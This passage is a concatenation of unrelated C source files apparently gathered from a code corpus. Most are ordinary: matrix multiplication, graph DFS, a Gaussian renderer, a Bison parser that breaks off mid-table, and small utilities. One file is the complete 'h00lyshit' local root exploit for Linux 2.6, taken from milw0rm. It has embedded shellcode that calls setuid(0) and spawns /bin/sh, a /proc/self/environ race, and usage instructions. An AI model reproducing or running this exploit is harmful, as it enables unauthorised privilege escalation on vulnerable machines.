0 && b1.st_mtime > b2.st_mtime); } static int olderf (f1, f2) const char *f1, *f2; { struct stat b1, b2; return (stat (f1, &b1) == 0 && stat (f2, &b2) == 0 && b1.st_mtime < b2.st_mtime); } static int equalf (f1, f2) const char *f1, *f2; { struct stat b1, b2; return (stat (f1, &b1) == 0 && stat (f2, &b2) == 0 && b1.st_dev == b2.st_dev && b1.st_ino == b2.st_ino); }
the_stack_data/77008.c
#include <stdio.h> #define MAX 10 void readDim(int *row, int *col) { printf("Rows: "); scanf("%d", row); printf("Cols: "); scanf("%d", col); } int checkDim(int r1, int c1, int r2, int c2) { if(r1 > MAX || c1 > MAX || r2 > MAX || c2 > MAX || r1 < 1 || c1 < 1 || r2 < 1 || c2 < 1 || c1 != r2) return -1; else return 0; } void readMatrix(int r, int c, double matrix[][MAX]) { for(int i = 0; i < r; ++i) for(int j = 0; j < c; ++j) { printf("[%d][%d]: ", i, j); scanf("%lf", &matrix[i][j]); } } void computeProduct(int r1, int c1, double m1[][MAX], int r2, int c2, double m2[][MAX], int r3, int c3, double m3[][MAX]) { for(int i = 0; i < r1; ++i) for(int j = 0; j < c2; ++j) { double sum = 0.0; for(int k = 0; k < c1; ++k) sum += m1[i][k] * m2[k][j]; m3[i][j] = sum; } } void writeMatrix(int r1, int c1, double m1[][MAX]) { printf("\n\n"); for(int i = 0; i < r1; ++i) { for(int j = 0; j < c1; ++j) printf("%lf ", m1[i][j]); printf("\n"); } } int main(void) { int r1,c1,r2,c2 = 0; printf("Please insert dimensions of M1\n"); readDim(&r1, &c1); printf("Please insert dimensions of M2\n"); readDim(&r2, &c2); if(checkDim(r1, c1, r2, c2) == -1) { printf("ERROR: Invalid matrix dimensions.\n"); return -1; } double m1[MAX][MAX], m2[MAX][MAX]; printf("Please insert M1\n"); readMatrix(r1, c1, m1); printf("Please insert M2\n"); readMatrix(r2, c2, m2); double m3[MAX][MAX]; computeProduct(r1, c1, m1, r2, c2, m2, r1, c2, m3); writeMatrix(r1, c1, m1); writeMatrix(r2, c2, m2); writeMatrix(r1, c2, m3); return 0; }
the_stack_data/206394480.c
#include <ctype.h> #include <stdio.h> #include <stdlib.h> int isAllowedChar(char ch) { if ('+' == ch || '*' == ch || '-' == ch || '/' == ch || '%' == ch || '=' == ch || '(' == ch || ')' == ch) { return 1; } return 0; } int isOpenParenthesis(char ch) { if ('(' == ch) { return 1; } return 0; } int isCloseParenthesis(char ch) { if (')' == ch) { return 1; } return 0; } int main(void) { int len = -1; if (scanf("%d", &len) != 1 || len < 0) { puts("input non corretto"); exit(1); } getchar(); char* expression = malloc(sizeof(*expression) * len + 1); if (NULL == expression) { exit(1); } fgets(expression, len + 1, stdin); int openParenthesisCounter = 0; for (int i = 0; i < len; i++) { if (!isdigit(expression[i]) && !islower(expression[i]) && !isAllowedChar(expression[i])) { puts("espressione non corretta"); exit(1); } if (isOpenParenthesis(expression[i])) { openParenthesisCounter++; } if (isCloseParenthesis(expression[i])) { openParenthesisCounter--; } if (openParenthesisCounter < 0) { puts("espressione non corretta"); exit(1); } } if (0 != openParenthesisCounter) { puts("espressione non corretta"); exit(1); } else { puts("espressione corretta"); } // puts(expression); }
the_stack_data/212643821.c
/* * Draw gaussians on an array. * * Hazen 03/13 */ /* Include */ #include <stdlib.h> #include <stdio.h> #include <math.h> /* Define */ #define NPARAMS 5 #define XC 0 #define YC 1 #define HEIGHT 2 #define XW 3 #define YW 4 /* Function definitions */ void drawGaussians(double *, double *, int, int, int, int); /* Functions */ void drawGaussians(double *image, double *gaussian_params, int image_x, int image_y, int number_gaussians, int resolution) { int i, j, k; int awidth, fx, fy, sx, sy; double x, y, xw, yw; double dx, dy, px, py, sgx, sgy; double intens, sum; double norm, step_size, start; norm = 1.0/((double)(resolution*resolution)); step_size = 1.0/((double)resolution); start = -0.5 + 0.5/((double)resolution); for(i=0; i < number_gaussians; i++){ intens = gaussian_params[i*NPARAMS+HEIGHT]; if(intens > 0.0){ px = gaussian_params[i*NPARAMS+XC]; py = gaussian_params[i*NPARAMS+YC]; xw = gaussian_params[i*NPARAMS+XW]; yw = gaussian_params[i*NPARAMS+YW]; if(xw > yw){ awidth = (int)(5.0 * xw); } else { awidth = (int)(5.0 * yw); } if(awidth < 1){ awidth = 1; } sgx = 1.0/(2.0 * xw * xw); sgy = 1.0/(2.0 * yw * yw); sx = (int)px - awidth; sy = (int)py - awidth; fx = (int)px + awidth + 1; fy = (int)py + awidth + 1; if(sx < 0) { sx = 0; } if(fx > image_y) { fx = image_y; } if(sy < 0) { sy = 0; } if(fy > image_x) { fy = image_x; } for(j=sx;j<fx;j++){ for(k=sy;k<fy;k++){ sum = 0.0; for(dx=start;dx<0.5;dx+=step_size){ x = (((double)j)-px+dx)*(((double)j)-px+dx)*sgx; for(dy=start;dy<0.5;dy+=step_size){ y = (((double)k)-py+dy)*(((double)k)-py+dy)*sgy; sum += norm * intens * exp(-1.0 * (x + y)); } } image[j*image_x+k] += sum; } } } } }
the_stack_data/154827354.c
/* ** ** halt.c ** ** src/tools/entab/halt.c ** ** This is used to print out error messages and exit */ #include <stdarg.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> /*------------------------------------------------------------------------- ** ** halt - print error message, and call clean up routine or exit ** **------------------------------------------------------------------------*/ /*VARARGS*/ void halt(const char *format,...) { va_list arg_ptr; const char *pstr; void (*sig_func) (); va_start(arg_ptr, format); if (strncmp(format, "PERROR", 6) != 0) vfprintf(stderr, format, arg_ptr); else { for (pstr = format + 6; *pstr == ' ' || *pstr == ':'; pstr++) ; vfprintf(stderr, pstr, arg_ptr); perror(""); } va_end(arg_ptr); fflush(stderr); /* call one clean up function if defined */ if ((sig_func = signal(SIGTERM, SIG_DFL)) != SIG_DFL && sig_func != SIG_IGN) (*sig_func) (0); else if ((sig_func = signal(SIGHUP, SIG_DFL)) != SIG_DFL && sig_func != SIG_IGN) (*sig_func) (0); else if ((sig_func = signal(SIGINT, SIG_DFL)) != SIG_DFL && sig_func != SIG_IGN) (*sig_func) (0); else if ((sig_func = signal(SIGQUIT, SIG_DFL)) != SIG_DFL && sig_func != SIG_IGN) (*sig_func) (0); exit(1); }
the_stack_data/150143826.c
int (*(*foo)(void))[3];
the_stack_data/72.c
// RUN: %llvmgcc %s -S -march=k8 // XFAIL: * // XTARGET: x86,i386,i686 long double x;
the_stack_data/23576455.c
/* C语言标准函数库 stdlib.h atol */ #include <stdlib.h> /* strtod */ #include <stdio.h> /* NULL */ long atol(const char *s) { /* 注意:该函数可用性未知 */ return strtol (s, (const char **) NULL, 10); }
the_stack_data/909201.c
/* ** Author: h00lyshit ** Vulnerable: Linux 2.6 ALL ** Type of Vulnerability: Local Race ** Tested On : various distros ** Vendor Status: unknown ** ** Disclaimer: ** In no event shall the author be liable for any damages ** whatsoever arising out of or in connection with the use ** or spread of this information. ** Any use of this information is at the user's own risk. ** ** Compile: ** gcc h00lyshit.c -o h00lyshit ** ** Usage: ** h00lyshit <very big file on the disk> ** ** Example: ** h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1 ** ** if y0u dont have one, make big file (~100MB) in /tmp with dd ** and try to junk the cache e.g. cat /usr/lib/* >/dev/null ** */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sched.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/prctl.h> #include <sys/mman.h> #include <sys/wait.h> #include <linux/a.out.h> #include <asm/unistd.h> static struct exec ex; static char *e[256]; static char *a[4]; static char b[512]; static char t[256]; static volatile int *c; /* h00lyshit shell code */ __asm__ (" __excode: call 1f \n" " 1: mov $23, %eax \n" " xor %ebx, %ebx \n" " int $0x80 \n" " pop %eax \n" " mov $cmd-1b, %ebx \n" " add %eax, %ebx \n" " mov $arg-1b, %ecx \n" " add %eax, %ecx \n" " mov %ebx, (%ecx) \n" " mov %ecx, %edx \n" " add $4, %edx \n" " mov $11, %eax \n" " int $0x80 \n" " mov $1, %eax \n" " int $0x80 \n" " arg: .quad 0x00, 0x00 \n" " cmd: .string \"/bin/sh\" \n" " __excode_e: nop \n" " .global __excode \n" " .global __excode_e \n" ); extern void (*__excode) (void); extern void (*__excode_e) (void); void error (char *err) { perror (err); fflush (stderr); exit (1); } /* exploit this shit */ void exploit (char *file) { int i, fd; void *p; struct stat st; printf ("\ntrying to exploit %s\n\n", file); fflush (stdout); chmod ("/proc/self/environ", 04755); c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0); memset ((void *) c, 0, 4096); /* slow down machine */ fd = open (file, O_RDONLY); fstat (fd, &st); p = (void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); if (p == MAP_FAILED) error ("mmap"); prctl (PR_SET_DUMPABLE, 0, 0, 0, 0); sprintf (t, "/proc/%d/environ", getpid ()); sched_yield (); execve (NULL, a, e); madvise (0, 0, MADV_WILLNEED); i = fork (); /* give it a try */ if (i) { (*c)++; !madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise"); prctl (PR_SET_DUMPABLE, 1, 0, 0, 0); sched_yield (); } else { nice(10); while (!(*c)); sched_yield (); execve (t, a, e); error ("failed"); } waitpid (i, NULL, 0); exit (0); } int main (int ac, char **av) { int i, j, k, s; char *p; memset (e, 0, sizeof (e)); memset (a, 0, sizeof (a)); a[0] = strdup (av[0]); a[1] = strdup (av[0]); a[2] = strdup (av[1]); if (ac < 2) error ("usage: binary <big file name>"); if (ac > 2) exploit (av[2]); printf ("\npreparing"); fflush (stdout); /* make setuid a.out */ memset (&ex, 0, sizeof (ex)); N_SET_MAGIC (ex, NMAGIC); N_SET_MACHTYPE (ex, M_386); s = ((unsigned) &__excode_e) - (unsigned) &__excode; ex.a_text = s; ex.a_syms = -(s + sizeof (ex)); memset (b, 0, sizeof (b)); memcpy (b, &ex, sizeof (ex)); memcpy (b + sizeof (ex), &__excode, s); /* make environment */ p = b; s += sizeof (ex); j = 0; for (i = k = 0; i < s; i++) { if (!p[i]) { e[j++] = &p[k]; k = i + 1; } } /* reexec */ getcwd (t, sizeof (t)); strcat (t, "/"); strcat (t, av[0]); execve (t, a, e); error ("execve"); return 0; } // milw0rm.com [2006-07-15]
the_stack_data/53995.c
/* Generated by CIL v. 1.7.0 */ /* print_CIL_Input is false */ struct _IO_FILE; struct timeval; extern void signal(int sig , void *func ) ; extern float strtof(char const *str , char const *endptr ) ; typedef struct _IO_FILE FILE; extern int atoi(char const *s ) ; extern double strtod(char const *str , char const *endptr ) ; extern int fclose(void *stream ) ; extern void *fopen(char const *filename , char const *mode ) ; extern void abort() ; extern void exit(int status ) ; extern int raise(int sig ) ; extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ; extern int strcmp(char const *a , char const *b ) ; extern int rand() ; extern unsigned long strtoul(char const *str , char const *endptr , int base ) ; void RandomFunc(unsigned long input[1] , unsigned long output[1] ) ; extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ; extern int gettimeofday(struct timeval *tv , void *tz , ...) ; extern int printf(char const *format , ...) ; int main(int argc , char *argv[] ) ; void megaInit(void) ; extern unsigned long strlen(char const *s ) ; extern long strtol(char const *str , char const *endptr , int base ) ; extern unsigned long strnlen(char const *s , unsigned long maxlen ) ; extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ; struct timeval { long tv_sec ; long tv_usec ; }; extern void *malloc(unsigned long size ) ; extern int scanf(char const *format , ...) ; void RandomFunc(unsigned long input[1] , unsigned long output[1] ) { unsigned long state[1] ; unsigned long local1 ; unsigned int copy12 ; unsigned short copy13 ; { state[0UL] = (input[0UL] | 51238316UL) >> 3UL; local1 = 0UL; while (local1 < 1UL) { if (state[0UL] > local1) { if (state[0UL] > local1) { state[local1] = state[0UL] >> ((state[0UL] & 7UL) | 1UL); } } else if (state[0UL] == local1) { copy12 = *((unsigned int *)(& state[local1]) + 0); *((unsigned int *)(& state[local1]) + 0) = *((unsigned int *)(& state[local1]) + 1); *((unsigned int *)(& state[local1]) + 1) = copy12; } else { copy13 = *((unsigned short *)(& state[local1]) + 2); *((unsigned short *)(& state[local1]) + 2) = *((unsigned short *)(& state[local1]) + 3); *((unsigned short *)(& state[local1]) + 3) = copy13; } local1 += 2UL; } output[0UL] = (state[0UL] | 85060083UL) << 1UL; } } int main(int argc , char *argv[] ) { unsigned long input[1] ; unsigned long output[1] ; int randomFuns_i5 ; unsigned long randomFuns_value6 ; int randomFuns_main_i7 ; { megaInit(); if (argc != 2) { printf("Call this program with %i arguments\n", 1); exit(-1); } else { } randomFuns_i5 = 0; while (randomFuns_i5 < 1) { randomFuns_value6 = strtoul(argv[randomFuns_i5 + 1], 0, 10); input[randomFuns_i5] = randomFuns_value6; randomFuns_i5 ++; } RandomFunc(input, output); if (output[0] == 170121214UL) { printf("You win!\n"); } else { } randomFuns_main_i7 = 0; while (randomFuns_main_i7 < 1) { printf("%lu\n", output[randomFuns_main_i7]); randomFuns_main_i7 ++; } } } void megaInit(void) { { } }
the_stack_data/150141575.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #define BUFSZ 1024 int main (int argc, char * argv[]) { int n; int fd; char buf[BUFSZ]; if ( argc != 2 ) { fprintf(stderr,"Usage: prog1 <file>\n"); exit(-1); } if((fd = open(argv[1], O_RDONLY)) < 0 ) { perror(argv[1]); exit(-1); } while ( (n = read(fd, buf, BUFSZ)) > 0 ) { write(STDOUT_FILENO,buf,n); } if ( n < 0 ) { perror("I/O error"); exit(-1); } exit(0); }
the_stack_data/200144539.c
#include<stdio.h> void DFS(int); int G[10][10],visited[10],n,source; int main() { int i,j; printf("Enter number of vertices: "); scanf("%d",&n); printf("Enter adjecency matrix of the graph:\n"); for(i=0;i<n;i++) for(j=0;j<n;j++) scanf("%d",&G[i][j]); for(i=0;i<n;i++) visited[i]=0; printf("Enter the source of the graph: "); scanf("%d",&source); printf("The DFS traversal of graph is: "); DFS(source); return 0; } void DFS(int i) { int j; printf("%d ",i); visited[i]=1; for(j=0;j<n;j++) if(!visited[j]&&G[i][j]==1) DFS(j); }
the_stack_data/133666.c
#include<stdio.h> int SomaAteN(int n){ int soma = 0; if(n>0){ soma = n + SomaAteN(n-1); } return soma; } int main(void){ int num; scanf("%d",&num); int soma; soma = SomaAteN(num); printf("\n%d\n",soma); return 0; }
the_stack_data/114120.c
#include<stdio.h> #include<stdbool.h> int main(void){ bool running = true; float r; float area; const float pi = 3.14159; printf("---Circle Area Calculator---\n"); while (running) { printf("\nEnter a radius: "); scanf("%f", &r); area = pi * r * r; printf("\nThe area of the circle is: %f ", area); } return 0; }
the_stack_data/25113.c
#include <omp.h> #include <stdint.h> #include <stdio.h> #pragma omp declare target char *global_allocate(uint32_t bufsz); int global_free(char *ptr); #pragma omp end declare target int main() { // Succeeds #pragma omp target device(0) { char *data = (char *)global_allocate(16); data[0] = 10; data[1] = 20 * data[0]; global_free(data); } if (omp_get_num_devices() > 1) { // Crashes with GPU memory error // Global allocate assumes a single gpu system #pragma omp target device(1) { char *data = (char *)global_allocate(16); data[0] = 10; data[1] = 20 * data[0]; global_free(data); } } printf("Success\n"); return 0; }
the_stack_data/1194573.c
/* A Bison parser, made by GNU Bison 3.5.1. */ /* Bison implementation for Yacc-like parsers in C Copyright (C) 1984, 1989-1990, 2000-2015, 2018-2020 Free Software Foundation, Inc. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /* As a special exception, you may create a larger work that contains part or all of the Bison parser skeleton and distribute that work under terms of your choice, so long as that work isn't itself a parser generator using the skeleton or a modified version thereof as a parser skeleton. Alternatively, if you modify or redistribute the parser skeleton itself, you may (at your option) remove this special exception, which will cause the skeleton and the resulting Bison output files to be licensed under the GNU General Public License without this special exception. This special exception was added by the Free Software Foundation in version 2.2 of Bison. */ /* C LALR(1) parser skeleton written by Richard Stallman, by simplifying the original so-called "semantic" parser. */ /* All symbols defined below should begin with yy or YY, to avoid infringing on user name space. This should be done even for local variables, as they might otherwise be expanded by user macros. There are some unavoidable exceptions within include files to define necessary library symbols; they are noted "INFRINGES ON USER NAME SPACE" below. */ /* Undocumented macros, especially those whose name start with YY_, are private implementation details. Do not rely on them. */ /* Identify Bison output. */ #define YYBISON 1 /* Bison version. */ #define YYBISON_VERSION "3.5.1" /* Skeleton name. */ #define YYSKELETON_NAME "yacc.c" /* Pure parsers. */ #define YYPURE 0 /* Push parsers. */ #define YYPUSH 0 /* Pull parsers. */ #define YYPULL 1 /* First part of user prologue. */ #line 7 "config/exprL-s3.y" #include <stdio.h> #include <math.h> int yylex(); void yyerror(const char *s); int lineno = 0; #line 78 "src/exprL-s3.tab.c" # ifndef YY_CAST # ifdef __cplusplus # define YY_CAST(Type, Val) static_cast<Type> (Val) # define YY_REINTERPRET_CAST(Type, Val) reinterpret_cast<Type> (Val) # else # define YY_CAST(Type, Val) ((Type) (Val)) # define YY_REINTERPRET_CAST(Type, Val) ((Type) (Val)) # endif # endif # ifndef YY_NULLPTR # if defined __cplusplus # if 201103L <= __cplusplus # define YY_NULLPTR nullptr # else # define YY_NULLPTR 0 # endif # else # define YY_NULLPTR ((void*)0) # endif # endif /* Enabling verbose error messages. */ #ifdef YYERROR_VERBOSE # undef YYERROR_VERBOSE # define YYERROR_VERBOSE 1 #else # define YYERROR_VERBOSE 0 #endif /* Use api.header.include to #include this header instead of duplicating it here. */ #ifndef YY_YY_SRC_EXPRL_S3_TAB_H_INCLUDED # define YY_YY_SRC_EXPRL_S3_TAB_H_INCLUDED /* Debug traces. */ #ifndef YYDEBUG # define YYDEBUG 0 #endif #if YYDEBUG extern int yydebug; #endif /* Token type. */ #ifndef YYTOKENTYPE # define YYTOKENTYPE enum yytokentype { NUMBER = 258, PLUS = 259, MINUS = 260, MULT = 261, DIV = 262, EXPON = 263, EOL = 264, LB = 265, RB = 266 }; #endif /* Tokens. */ #define NUMBER 258 #define PLUS 259 #define MINUS 260 #define MULT 261 #define DIV 262 #define EXPON 263 #define EOL 264 #define LB 265 #define RB 266 /* Value type. */ #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED union YYSTYPE { #line 15 "config/exprL-s3.y" float val; char *op; #line 157 "src/exprL-s3.tab.c" }; typedef union YYSTYPE YYSTYPE; # define YYSTYPE_IS_TRIVIAL 1 # define YYSTYPE_IS_DECLARED 1 #endif /* Location type. */ #if ! defined YYLTYPE && ! defined YYLTYPE_IS_DECLARED typedef struct YYLTYPE YYLTYPE; struct YYLTYPE { int first_line; int first_column; int last_line; int last_column; }; # define YYLTYPE_IS_DECLARED 1 # define YYLTYPE_IS_TRIVIAL 1 #endif extern YYSTYPE yylval; extern YYLTYPE yylloc; int yyparse (void); #endif /* !YY_YY_SRC_EXPRL_S3_TAB_H_INCLUDED */ #ifdef short # undef short #endif /* On compilers that do not define __PTRDIFF_MAX__ etc., make sure <limits.h> and (if available) <stdint.h> are included so that the code can choose integer types of a good width. */ #ifndef __PTRDIFF_MAX__ # include <limits.h> /* INFRINGES ON USER NAME SPACE */ # if defined __STDC_VERSION__ && 199901 <= __STDC_VERSION__ # include <stdint.h> /* INFRINGES ON USER NAME SPACE */ # define YY_STDINT_H # endif #endif /* Narrow types that promote to a signed type and that can represent a signed or unsigned integer of at least N bits. In tables they can save space and decrease cache pressure. Promoting to a signed type helps avoid bugs in integer arithmetic. */ #ifdef __INT_LEAST8_MAX__ typedef __INT_LEAST8_TYPE__ yytype_int8; #elif defined YY_STDINT_H typedef int_least8_t yytype_int8; #else typedef signed char yytype_int8; #endif #ifdef __INT_LEAST16_MAX__ typedef __INT_LEAST16_TYPE__ yytype_int16; #elif defined YY_STDINT_H typedef int_least16_t yytype_int16; #else typedef short yytype_int16; #endif #if defined __UINT_LEAST8_MAX__ && __UINT_LEAST8_MAX__ <= __INT_MAX__ typedef __UINT_LEAST8_TYPE__ yytype_uint8; #elif (!defined __UINT_LEAST8_MAX__ && defined YY_STDINT_H \ && UINT_LEAST8_MAX <= INT_MAX) typedef uint_least8_t yytype_uint8; #elif !defined __UINT_LEAST8_MAX__ && UCHAR_MAX <= INT_MAX typedef unsigned char yytype_uint8; #else typedef short yytype_uint8; #endif #if defined __UINT_LEAST16_MAX__ && __UINT_LEAST16_MAX__ <= __INT_MAX__ typedef __UINT_LEAST16_TYPE__ yytype_uint16; #elif (!defined __UINT_LEAST16_MAX__ && defined YY_STDINT_H \ && UINT_LEAST16_MAX <= INT_MAX) typedef uint_least16_t yytype_uint16; #elif !defined __UINT_LEAST16_MAX__ && USHRT_MAX <= INT_MAX typedef unsigned short yytype_uint16; #else typedef int yytype_uint16; #endif #ifndef YYPTRDIFF_T # if defined __PTRDIFF_TYPE__ && defined __PTRDIFF_MAX__ # define YYPTRDIFF_T __PTRDIFF_TYPE__ # define YYPTRDIFF_MAXIMUM __PTRDIFF_MAX__ # elif defined PTRDIFF_MAX # ifndef ptrdiff_t # include <stddef.h> /* INFRINGES ON USER NAME SPACE */ # endif # define YYPTRDIFF_T ptrdiff_t # define YYPTRDIFF_MAXIMUM PTRDIFF_MAX # else # define YYPTRDIFF_T long # define YYPTRDIFF_MAXIMUM LONG_MAX # endif #endif #ifndef YYSIZE_T # ifdef __SIZE_TYPE__ # define YYSIZE_T __SIZE_TYPE__ # elif defined size_t # define YYSIZE_T size_t # elif defined __STDC_VERSION__ && 199901 <= __STDC_VERSION__ # include <stddef.h> /* INFRINGES ON USER NAME SPACE */ # define YYSIZE_T size_t # else # define YYSIZE_T unsigned # endif #endif #define YYSIZE_MAXIMUM \ YY_CAST (YYPTRDIFF_T, \ (YYPTRDIFF_MAXIMUM < YY_CAST (YYSIZE_T, -1) \ ? YYPTRDIFF_MAXIMUM \ : YY_CAST (YYSIZE_T, -1))) #define YYSIZEOF(X) YY_CAST (YYPTRDIFF_T, sizeof (X)) /* Stored state numbers (used for stacks). */ typedef yytype_int8 yy_state_t; /* State numbers in computations. */ typedef int yy_state_fast_t; #ifndef YY_ # if defined YYENABLE_NLS && YYENABLE_NLS # if ENABLE_NLS # include <libintl.h> /* INFRINGES ON USER NAME SPACE */ # define YY_(Msgid) dgettext ("bison-runtime", Msgid) # endif # endif # ifndef YY_ # define YY_(Msgid) Msgid # endif #endif #ifndef YY_ATTRIBUTE_PURE # if defined __GNUC__ && 2 < __GNUC__ + (96 <= __GNUC_MINOR__) # define YY_ATTRIBUTE_PURE __attribute__ ((__pure__)) # else # define YY_ATTRIBUTE_PURE # endif #endif #ifndef YY_ATTRIBUTE_UNUSED # if defined __GNUC__ && 2 < __GNUC__ + (7 <= __GNUC_MINOR__) # define YY_ATTRIBUTE_UNUSED __attribute__ ((__unused__)) # else # define YY_ATTRIBUTE_UNUSED # endif #endif /* Suppress unused-variable warnings by "using" E. */ #if ! defined lint || defined __GNUC__ # define YYUSE(E) ((void) (E)) #else # define YYUSE(E) /* empty */ #endif #if defined __GNUC__ && ! defined __ICC && 407 <= __GNUC__ * 100 + __GNUC_MINOR__ /* Suppress an incorrect diagnostic about yylval being uninitialized. */ # define YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN \ _Pragma ("GCC diagnostic push") \ _Pragma ("GCC diagnostic ignored \"-Wuninitialized\"") \ _Pragma ("GCC diagnostic ignored \"-Wmaybe-uninitialized\"") # define YY_IGNORE_MAYBE_UNINITIALIZED_END \ _Pragma ("GCC diagnostic pop") #else # define YY_INITIAL_VALUE(Value) Value #endif #ifndef YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN # define YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN # define YY_IGNORE_MAYBE_UNINITIALIZED_END #endif #ifndef YY_INITIAL_VALUE # define YY_INITIAL_VALUE(Value) /* Nothing. */ #endif #if defined __cplusplus && defined __GNUC__ && ! defined __ICC && 6 <= __GNUC__ # define YY_IGNORE_USELESS_CAST_BEGIN \ _Pragma ("GCC diagnostic push") \ _Pragma ("GCC diagnostic ignored \"-Wuseless-cast\"") # define YY_IGNORE_USELESS_CAST_END \ _Pragma ("GCC diagnostic pop") #endif #ifndef YY_IGNORE_USELESS_CAST_BEGIN # define YY_IGNORE_USELESS_CAST_BEGIN # define YY_IGNORE_USELESS_CAST_END #endif #define YY_ASSERT(E) ((void) (0 && (E))) #if ! defined yyoverflow || YYERROR_VERBOSE /* The parser invokes alloca or malloc; define the necessary symbols. */ # ifdef YYSTACK_USE_ALLOCA # if YYSTACK_USE_ALLOCA # ifdef __GNUC__ # define YYSTACK_ALLOC __builtin_alloca # elif defined __BUILTIN_VA_ARG_INCR # include <alloca.h> /* INFRINGES ON USER NAME SPACE */ # elif defined _AIX # define YYSTACK_ALLOC __alloca # elif defined _MSC_VER # include <malloc.h> /* INFRINGES ON USER NAME SPACE */ # define alloca _alloca # else # define YYSTACK_ALLOC alloca # if ! defined _ALLOCA_H && ! defined EXIT_SUCCESS # include <stdlib.h> /* INFRINGES ON USER NAME SPACE */ /* Use EXIT_SUCCESS as a witness for stdlib.h. */ # ifndef EXIT_SUCCESS # define EXIT_SUCCESS 0 # endif # endif # endif # endif # endif # ifdef YYSTACK_ALLOC /* Pacify GCC's 'empty if-body' warning. */ # define YYSTACK_FREE(Ptr) do { /* empty */; } while (0) # ifndef YYSTACK_ALLOC_MAXIMUM /* The OS might guarantee only one guard page at the bottom of the stack, and a page size can be as small as 4096 bytes. So we cannot safely invoke alloca (N) if N exceeds 4096. Use a slightly smaller number to allow for a few compiler-allocated temporary stack slots. */ # define YYSTACK_ALLOC_MAXIMUM 4032 /* reasonable circa 2006 */ # endif # else # define YYSTACK_ALLOC YYMALLOC # define YYSTACK_FREE YYFREE # ifndef YYSTACK_ALLOC_MAXIMUM # define YYSTACK_ALLOC_MAXIMUM YYSIZE_MAXIMUM # endif # if (defined __cplusplus && ! defined EXIT_SUCCESS \ && ! ((defined YYMALLOC || defined malloc) \ && (defined YYFREE || defined free))) # include <stdlib.h> /* INFRINGES ON USER NAME SPACE */ # ifndef EXIT_SUCCESS # define EXIT_SUCCESS 0 # endif # endif # ifndef YYMALLOC # define YYMALLOC malloc # if ! defined malloc && ! defined EXIT_SUCCESS void *malloc (YYSIZE_T); /* INFRINGES ON USER NAME SPACE */ # endif # endif # ifndef YYFREE # define YYFREE free # if ! defined free && ! defined EXIT_SUCCESS void free (void *); /* INFRINGES ON USER NAME SPACE */ # endif # endif # endif #endif /* ! defined yyoverflow || YYERROR_VERBOSE */ #if (! defined yyoverflow \ && (! defined __cplusplus \ || (defined YYLTYPE_IS_TRIVIAL && YYLTYPE_IS_TRIVIAL \ && defined YYSTYPE_IS_TRIVIAL && YYSTYPE_IS_TRIVIAL))) /* A type that is properly aligned for any stack member. */ union yyalloc { yy_state_t yyss_alloc; YYSTYPE yyvs_alloc; YYLTYPE yyls_alloc; }; /* The size of the maximum gap between one aligned stack and the next. */ # define YYSTACK_GAP_MAXIMUM (YYSIZEOF (union yyalloc) - 1) /* The size of an array large to enough to hold all stacks, each with N elements. */ # define YYSTACK_BYTES(N) \ ((N) * (YYSIZEOF (yy_state_t) + YYSIZEOF (YYSTYPE) \ + YYSIZEOF (YYLTYPE)) \ + 2 * YYSTACK_GAP_MAXIMUM) # define YYCOPY_NEEDED 1 /* Relocate STACK from its old location to the new one. The local variables YYSIZE and YYSTACKSIZE give the old and new number of elements in the stack, and YYPTR gives the new location of the stack. Advance YYPTR to a properly aligned location for the next stack. */ # define YYSTACK_RELOCATE(Stack_alloc, Stack) \ do \ { \ YYPTRDIFF_T yynewbytes; \ YYCOPY (&yyptr->Stack_alloc, Stack, yysize); \ Stack = &yyptr->Stack_alloc; \ yynewbytes = yystacksize * YYSIZEOF (*Stack) + YYSTACK_GAP_MAXIMUM; \ yyptr += yynewbytes / YYSIZEOF (*yyptr); \ } \ while (0) #endif #if defined YYCOPY_NEEDED && YYCOPY_NEEDED /* Copy COUNT objects from SRC to DST. The source and destination do not overlap. */ # ifndef YYCOPY # if defined __GNUC__ && 1 < __GNUC__ # define YYCOPY(Dst, Src, Count) \ __builtin_memcpy (Dst, Src, YY_CAST (YYSIZE_T, (Count)) * sizeof (*(Src))) # else # define YYCOPY(Dst, Src, Count) \ do \ { \ YYPTRDIFF_T yyi; \ for (yyi = 0; yyi < (Count); yyi++) \ (Dst)[yyi] = (Src)[yyi]; \ } \ while (0) # endif # endif #endif /* !YYCOPY_NEEDED */ /* YYFINAL -- State number of the termination state. */ #define YYFINAL 2 /* YYLAST -- Last index in YYTABLE. */ #define YYLAST 34 /* YYNTOKENS -- Number of terminals. */ #define YYNTOKENS 12 /* YYNNTS -- Number of nonterminals. */ #define YYNNTS 5 /* YYNRULES -- Number of rules. */ #define YYNRULES 14 /* YYNSTATES -- Number of states. */ #define YYNSTATES 24 #define YYUNDEFTOK 2 #define YYMAXUTOK 266 /* YYTRANSLATE(TOKEN-NUM) -- Symbol number corresponding to TOKEN-NUM as returned by yylex, with out-of-bounds checking. */ #define YYTRANSLATE(YYX) \ (0 <= (YYX) && (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK) /* YYTRANSLATE[TOKEN-NUM] -- Symbol number corresponding to TOKEN-NUM as returned by yylex. */ static const yytype_int8 yytranslate[] = { 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 